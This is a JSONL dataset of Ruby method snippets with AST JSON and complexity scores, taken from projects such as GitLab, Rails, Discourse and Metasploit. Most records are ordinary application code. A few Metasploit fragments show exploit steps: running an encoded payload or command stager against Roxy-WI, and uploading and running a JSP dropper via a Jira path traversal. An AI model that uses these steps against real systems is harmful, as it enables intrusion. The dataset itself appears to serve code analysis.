{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/components/budgets/planned_labor_budget_items_component.rb","start_line":34,"raw_source":"def item_hours(item)\n    helpers.l_hours(item.hours)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"item_hours\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"l_hours\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"hours\"]}]}]}","id":"103485d9-8b4b-4519-8a7f-46ff77dab3bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/feature_available_usage.rb","start_line":67,"raw_source":"def caller_is_special_case?(node)\n          SPECIAL_CLASS.include?(class_caller(node))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"caller_is_special_case?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SPECIAL_CLASS\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"class_caller\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"ed54374e-d582-4869-be50-cc96d42d80a9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/git_submodule_url_exec.rb","start_line":149,"raw_source":"def git_uri\n    return @git_uri if @git_uri\n\n    if datastore['GIT_URI'].blank?\n      @git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git'\n    else\n      @git_uri = datastore['GIT_URI']\n    end\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"git_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@git_uri\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@git_uri\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GIT_URI\"]}]},\"blank?\"]},{\"type\":\"ivasgn\",\"children\":[\"@git_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[6]}]}]},\"downcase\"]}]},\"+\",{\"type\":\"str\",\"children\":[\".git\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@git_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GIT_URI\"]}]}]}]}]}]}","id":"8762b5b9-67f4-4990-8ede-2becde6a5468"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/jobs/scheduled/posts_locale_detection_backfill.rb","start_line":50,"raw_source":"def find_llm_model\n      persona_klass =\n        AiPersona.find_by_id_from_cache(SiteSetting.ai_translation_locale_detector_persona)\n      return nil if persona_klass.blank?\n\n      DiscourseAi::Translation::BaseTranslator.preferred_llm_model(persona_klass)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_llm_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"persona_klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiPersona\"]},\"find_by_id_from_cache\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_translation_locale_detector_persona\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona_klass\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Translation\"]},\"BaseTranslator\"]},\"preferred_llm_model\",{\"type\":\"lvar\",\"children\":[\"persona_klass\"]}]}]}]}","id":"d0ca042e-996c-44f7-9ac9-c21d76a28db5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/application_setting_fetcher.rb","start_line":10,"raw_source":"def current_application_settings\n        cached_application_settings || uncached_application_settings\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_application_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_application_settings\"]},{\"type\":\"send\",\"children\":[null,\"uncached_application_settings\"]}]}]}","id":"10b3395f-361c-4bbe-9cd8-871ffa9ac705"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/providers/whatsapp_cloud_service.rb","start_line":128,"raw_source":"def template_body_parameters(template_info)\n    template_body = {\n      name: template_info[:name],\n      language: {\n        policy: 'deterministic',\n        code: template_info[:lang_code]\n      }\n    }\n\n    # Enhanced template parameters structure\n    # Note: Legacy format support (simple parameter arrays) has been removed\n    # in favor of the enhanced component-based structure that supports\n    # headers, buttons, and authentication templates.\n    #\n    # Expected payload format from frontend:\n    # {\n    #   processed_params: {\n    #     body: { '1': 'John', '2': '123 Main St' },\n    #     header: {\n    #       media_url: 'https://...',\n    #       media_type: 'image',\n    #       media_name: 'filename.pdf' # Optional, for document templates only\n    #     },\n    #     buttons: [{ type: 'url', parameter: 'otp123456' }]\n    #   }\n    # }\n    # This gets transformed into WhatsApp API component format:\n    # [\n    #   { type: 'body', parameters: [...] },\n    #   { type: 'header', parameters: [...] },\n    #   { type: 'button', sub_type: 'url', parameters: [...] }\n    # ]\n    template_body[:components] = template_info[:parameters] || []\n\n    template_body\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"template_body_parameters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"language\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"policy\"]},{\"type\":\"str\",\"children\":[\"deterministic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lang_code\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_body\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"components\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parameters\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"template_body\"]}]}]}","id":"3dab23f8-7070-47d5-9d81-ba1b2ba79947"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/export_user_archive.rb","start_line":540,"raw_source":"def piped_category_name(category_id, category)\n      return \"#{category_id}\" if category_id && !category\n      return \"-\" if !guardian.can_see_category?(category)\n      categories = [category.name]\n      while category.parent_category_id && category = category.parent_category\n        categories << category.name\n      end\n      categories.reverse.join(\"|\")\n    end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"piped_category_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category_id\"]},{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_see_category?\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"name\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"parent_category_id\"]},{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"parent_category\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"categories\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"categories\"]},\"reverse\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}]}","id":"42bbc795-ddba-40d5-be14-8f86d7328988"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/yaml/tags/resolver.rb","start_line":34,"raw_source":"def resolve_wrapper(object)\n              if object.respond_to?(:resolve)\n                object.resolve(self)\n              else\n                object\n              end\n            end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_wrapper\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"resolve\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"resolve\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}","id":"7862ee7f-d262-433b-a047-dd78e8965a99"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/relations.rb","start_line":147,"raw_source":"def new_relation_button\n        page.find(id: \"add-relation-action-menu-button\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_relation_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"add-relation-action-menu-button\"]}]}]}]}]}","id":"c019c27b-ae70-4472-b04b-554b5bed7118"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/parsing_quirks_test.rb","start_line":80,"raw_source":"def test_unexpected_characters_silently_eat_logic_lax\n    with_error_modes(:lax) do\n      markup = \"true && false\"\n      assert_template_result(' YES ', \"{% if #{markup} %} YES {% endif %}\")\n      markup = \"false || true\"\n      assert_template_result('', \"{% if #{markup} %} YES {% endif %}\")\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unexpected_characters_silently_eat_logic_lax\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"lax\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"markup\",{\"type\":\"str\",\"children\":[\"true && false\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\" YES \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% if \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markup\"]}]},{\"type\":\"str\",\"children\":[\" %} YES {% endif %}\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"markup\",{\"type\":\"str\",\"children\":[\"false || true\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% if \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markup\"]}]},{\"type\":\"str\",\"children\":[\" %} YES {% endif %}\"]}]}]}]}]}]}","id":"4a67d8f1-07a1-404e-8ec9-e9923a38c903"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/related_work_item_links/destroy_service.rb","start_line":60,"raw_source":"def create_notes(link)\n        SystemNoteService.unrelate_issuable(link.source, link.target, current_user)\n        SystemNoteService.unrelate_issuable(link.target, link.source, current_user)\n      end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_notes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemNoteService\"]},\"unrelate_issuable\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"target\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemNoteService\"]},\"unrelate_issuable\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"source\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}","id":"13d28e2b-ac85-460c-99f5-14c9bac9cdcb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":946,"raw_source":"def test_previously_new_record_returns_boolean\n    assert_equal false, Topic.new.previously_new_record?\n    assert_equal true, Topic.create.previously_new_record?\n    assert_equal false, Topic.find(1).previously_new_record?\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_previously_new_record_returns_boolean\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]},\"previously_new_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\"]},\"previously_new_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},\"previously_new_record?\"]}]}]}]}","id":"22fdd9c3-2157-4ce3-b14c-3877aae7d1cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/database/mark_migration_service.rb","start_line":25,"raw_source":"def migration\n      @migration ||= migration_context\n        .migrations\n        .find { |migration| migration.version == version }\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"migration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@migration\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_context\"]},\"migrations\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"version\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"version\"]}]}]}]}]}","id":"0ce9f33a-321f-4283-a524-d5a429930109"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/roxy_wi_exec.rb","start_line":112,"raw_source":"def exploit\n    print_status('Exploiting...')\n    case target['Type']\n    when :in_memory\n      execute_command(payload.encoded)\n    when :dropper\n      execute_cmdstager\n    end\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Exploiting...\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_memory\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\"]}]},null]}]}]}","id":"06a2050a-5c07-4862-aca1-03b7e7732362"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/db/migrate/20240827040811_swap_bigint_chat_mention_notifications_notification_id.rb","start_line":3,"raw_source":"def up\n    # Necessary to rename and drop trigger/function\n    Migration::SafeMigrate.disable!\n\n    # Drop trigger and function used to replicate new values\n    execute \"DROP TRIGGER chat_mention_notifications_new_notification_id_trigger ON chat_mention_notifications\"\n    execute \"DROP FUNCTION mirror_chat_mention_notifications_notification_id()\"\n\n    # Swap columns\n    execute \"ALTER TABLE chat_mention_notifications RENAME COLUMN notification_id TO old_notification_id\"\n    execute \"ALTER TABLE chat_mention_notifications RENAME COLUMN new_notification_id TO notification_id\"\n\n    # Drop old indexes\n    execute \"DROP INDEX index_chat_mention_notifications_on_notification_id\"\n    execute \"ALTER INDEX index_chat_mention_notifications_on_new_notification_id RENAME TO index_chat_mention_notifications_on_notification_id\"\n\n    execute \"ALTER TABLE chat_mention_notifications ALTER COLUMN old_notification_id DROP NOT NULL\"\n    execute \"ALTER TABLE chat_mention_notifications ALTER COLUMN notification_id DROP DEFAULT\"\n\n    # Keep old column and mark it as read only\n    Migration::ColumnDropper.mark_readonly(:chat_mention_notifications, :old_notification_id)\n  ensure\n    Migration::SafeMigrate.enable!\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"disable!\"]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP TRIGGER chat_mention_notifications_new_notification_id_trigger ON chat_mention_notifications\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP FUNCTION mirror_chat_mention_notifications_notification_id()\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE chat_mention_notifications RENAME COLUMN notification_id TO old_notification_id\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE chat_mention_notifications RENAME COLUMN new_notification_id TO notification_id\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP INDEX index_chat_mention_notifications_on_notification_id\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER INDEX index_chat_mention_notifications_on_new_notification_id RENAME TO index_chat_mention_notifications_on_notification_id\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE chat_mention_notifications ALTER COLUMN old_notification_id DROP NOT NULL\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE chat_mention_notifications ALTER COLUMN notification_id DROP DEFAULT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"mark_readonly\",{\"type\":\"sym\",\"children\":[\"chat_mention_notifications\"]},{\"type\":\"sym\",\"children\":[\"old_notification_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"enable!\"]}]}]}","id":"3a251008-2560-4eb4-94ef-833dac12c51b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/internal/account_analysis/content_evaluator_service.rb","start_line":62,"raw_source":"def handle_evaluation_error(error)\n    Rails.logger.error(\"Error evaluating content: #{error.message}\")\n    default_evaluation('evaluation_failure')\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_evaluation_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error evaluating content: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"default_evaluation\",{\"type\":\"str\",\"children\":[\"evaluation_failure\"]}]}]}]}","id":"6db09a44-ed1e-4349-9bc6-6b7bd935c865"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/samplers/concurrency_limit_sampler.rb","start_line":90,"raw_source":"def workers\n          @workers ||= Gitlab::SidekiqConfig\n                         .workers_without_default\n                         .select do |worker|\n                           queue = ::Gitlab::SidekiqConfig::WorkerRouter.global.route(worker.klass)\n                           current_queues.include?(queue)\n                         end\n                         .map(&:klass)\n        end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@workers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SidekiqConfig\"]},\"workers_without_default\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"queue\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SidekiqConfig\"]},\"WorkerRouter\"]},\"global\"]},\"route\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"klass\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_queues\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"queue\"]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"klass\"]}]}]}]}]}","id":"2c3b2f09-e971-41ff-bcc4-9dfa85235804"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/result.rb","start_line":155,"raw_source":"def [](idx)\n      hash_rows[idx]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hash_rows\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"idx\"]}]}]}","id":"b1486761-da07-44e3-9294-b5ecbe2643fa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/jira_collector_traversal.rb","start_line":127,"raw_source":"def upload_and_run_jsp(filename, contents)\n    print_status(\"Getting a valid CSRF token...\")\n    csrf_token = get_upload_token\n    fail_with(Failure::Unknown, \"#{peer} - Unable to find the CSRF token\") if csrf_token.empty?\n\n    print_status(\"Exploiting traversal to upload JSP dropper...\")\n    upload_file(filename, contents, csrf_token)\n\n    print_status(\"Executing the dropper...\")\n    send_request_cgi(\n      {\n        'uri' => normalize_uri(target_uri.path, filename),\n        'method' => 'GET'\n      }\n    )\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_and_run_jsp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"contents\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Getting a valid CSRF token...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_token\",{\"type\":\"send\",\"children\":[null,\"get_upload_token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_token\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to find the CSRF token\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Exploiting traversal to upload JSP dropper...\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_file\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"contents\"]},{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing the dropper...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]}]}","id":"d76f4763-c6df-47f5-9e04-440b0fdae61a"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":233,"raw_source":"def test_deep_stringify_keys_with_bang_mutates\n    transformed_hash = @nested_mixed.deep_dup\n    transformed_hash.deep_stringify_keys!\n    assert_equal @nested_strings, transformed_hash\n    assert_equal({ \"a\" => { b: { \"c\" => 3 } } }, @nested_mixed)\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deep_stringify_keys_with_bang_mutates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transformed_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nested_mixed\"]},\"deep_dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transformed_hash\"]},\"deep_stringify_keys!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@nested_strings\"]},{\"type\":\"lvar\",\"children\":[\"transformed_hash\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\